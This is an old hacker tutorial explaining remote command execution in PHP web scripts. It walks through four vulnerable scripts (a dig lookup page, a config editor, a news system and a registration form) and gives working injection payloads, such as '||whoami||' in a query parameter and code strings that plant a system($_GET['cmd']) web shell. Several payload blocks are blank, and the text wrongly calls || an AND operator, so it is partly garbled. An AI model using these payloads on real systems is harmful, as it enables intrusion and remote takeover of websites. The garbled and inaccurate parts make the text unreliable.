Understanding Basic Vuln c0de for RCE (Remote Command`s Execution)

Understanding Basic Vuln c0de for RCE (Remote Command`s Execution)

Author: eidelweiss
Home Page: www.eidelweiss.info
Blog Page: http://eidelweiss-advisories.blogspot.com

0x1: Introduce
What is Remode Command Execution (RCE) or arbitrary code execution (ACE)?!!
first thing In computer security, arbitrary code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution or remote code execution vulnerability to describe a software / web application bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such a vulnerability is called an arbitrary code execution or remote code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shellcode to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution or remote code execution

Once the invader can execute arbitrary code directly on the OS, there is often an attempt at a privilege escalation exploit in order to gain additional control. This may involve the kernel itself or an account such as Administrator, SYSTEM, or root. With or without this enhanced control, exploits have the potential to do severe damage or turn the computer into a zombie - but privilege escalation helps with hiding the attack from the legitimate administrator of the system. An arbitrary remote code execution with privilege escalation vulnerability in widely-deployed software is thus the worst vulnerability sub-type of them all. If bugs of this kind become known, fixes are usually made available within a few hours.

0x2: example concept and proof of concept
Here I will try to give an basic example of Remote Command Execution in web application or php script.
But You will neved find this in PHP scripts unless the coder is a monkey.
1. Lets start with an real-life example.All the following examples is real-life.All of them are discovered by me in different php scripts.
The 1st example is an whois lookup script,they execute command in terminal to do that.
Works only on *NIX systems.

Lets take a look in dig.php file :
Bellow is sample code in dig.php file:


include("common.php");
showMenu();
echo '
';
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];

.................................... Snip ..............................................

$host = trim($host);
$host = strtolower($host);
echo("Executing : dig @$ns $host $query_type
");
echo '

';

          //start digging in the namserver

          system ("dig @$ns $host $query_type");

          echo '

';
} else {
?>



From the c0de We are interested in these lines :

$ns = $_GET['ns'];
system ("dig @$ns $host $query_type");

The "ns" variable is unfiltered and can be modified by user.An attacker can use any command
that he want through this variable.We can execute commands like in the previous example.
If we request :

dig.php?ns=whoam&host=pw.net&query_type=NS&status=digging

The command Will not work.Why? Lets split it, server will read or the code will be:

system ("dig whoami pw.net NS");

and that command dont exist and the execution will fail.What to do to work?In *NIX systems
we have the AND operator who can be used in terminal.That operator is ||.So if we make a
request like this :

dig.php?ns=||whoami||&host=pw.net&query_type=NS&status=digging

our command will be succesfully executed. Why ? Because the system will read or our command or Look at the code :

system ("dig ||whoami|| pw.net NS");

will execute the command separately than "dig" and the other.


2. Lets continue with another example,little bit complicated than first.

Some scripts let you to modify the configuration of website after install.Bad mistake
because usually configuration files is .php .

So we have the script instaled.We look in the admin.php file
Code snippet :

if(isset($action) && $action == "setconfig") {
$config_file = "config.php";
$handle = fopen($config_file, 'w');
$StringData = " $"."news_width = '".clean($_POST[news_width])."';\r
$"."bgcolor = '".clean($_POST[bgcolor])."';\r
$"."fgcolor = '".clean($_POST[fgcolor])."';\r
$"."padding = '".clean($_POST[padding])."';\r
$"."subject_margin = '".clean($_POST[subject_margin])."';\r
$"."fontname = '".clean($_POST[fontname])."';\r
$"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
fwrite($handle, $StringData);
}

We see here that the script save the settings in config.php file.

Now let's see the config.php file content :
Code snippet :


$news_width = '600px';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>

So we can inject php code in news_width for example .Now,the things will be
more complicated.We can inject our code but we must pay attention to the code.
I will show you an example to understand what I say.

We will inject the following php code in news_width variable.The code will be
written into config.php file. Let's go to admin.php?action=setconfig file and
inject the code.

Code :



The code will become :

$news_width = '';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>

And that is wrong. If we request the config.php file we will get an parse error:

something like this

Parse error: parse error in /var/www/config.php on line 3

So we must inject something more complicated.

';system($_GET['cmd']);'

Why this code? Look, the code inside config.php file will become :
$news_width = '';system($_GET['cmd']);'';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>


Lets split it :

$news_width = '';
system($_GET['cmd']);
'';

No parse error, so we can successfully execute our commands. Let's make the request :

config.php?cmd=whoami

No more || because we don't need, only our command is executed.

3. Lets go to the next example. In this script the news are saved in news.txt file.

Lets see the contents of news.txt file :

test

Posted on: 13/05/2011

test

We can add what we want. We can inject our code and nothing will happen because is .txt file? Wrong.
Lets search deeper the script. We go to post news by accessing post.php .

Lets take a look in post.php

$newsfile = "news.txt";
$file = fopen($newsfile, "r");
..........................................................................
elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else
include 'inc/error1.html';
fclose($file);
}


We can see here how the news are written in news.txt file. Input not filtered of course.
Now the news must be displayed to visitors. How the script do that? Lets take a look in
display.php file.

Code snippet :

include("news.txt");
?>

Nice, the news.txt content is included in display.php file. What we do? We go to post.php
and add some news.
We will inject our code in "title" variable. We write there the following code :



so the news.txt content will become :

Posted on: 13/05/2011

test2

test

Posted on: 13/05/2011

test

And our evil code is there. Let's take a look in display.php .That file include the content of news.txt. so the code in display.php will look like :

Posted on: 13/05/2011

test2

test

Posted on: 13/05/2011

test

?>

No parse error or any other problem so we can go to :

display.php?cmd=whoami

and execute succesfully our commands.


4. Now a little bit complicated script than the previous scripts.

In this script, when we register, our details will be saved in php files.

For example Lets take a log or c0de in add_reg.php file :

Code snippet :

$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";

................... Snip ...........................

$html = "\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");

We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field, I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :



the code inside ourusername.php will become :

$regdate = "13 mei 2011, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";
$url = "http://google.com";
?>

So we will get an parse error. Not good. We must inject a more complicated code
to get the result that we want.

Lets add this code :

\";?>
So the code inside ourusername.php will become :

$regdate = "13 mei 2011, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?> $url = "http://google.com";
?>

and we will have no error. Why? See the code :

$location = "";?>

Lets split it :

$location = "";
?>


We set the location value to "", close the first php tags, open the tags
again, wrote our evil code, close the tags and open other and add a variable
"xxx" because we don`t want any error. I wrote that code because I want no
error, can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).

So we can go to :

sitestarg.et/ourusername.php?cmd=whoami

and successfully execute our commands !!!